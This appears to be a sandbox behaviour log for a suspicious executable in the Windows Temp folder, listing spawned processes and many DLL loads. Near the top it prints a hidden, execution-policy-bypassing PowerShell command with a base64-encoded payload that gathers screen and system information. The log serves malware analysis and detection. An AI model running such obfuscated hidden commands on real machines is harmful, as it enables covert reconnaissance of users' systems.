Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
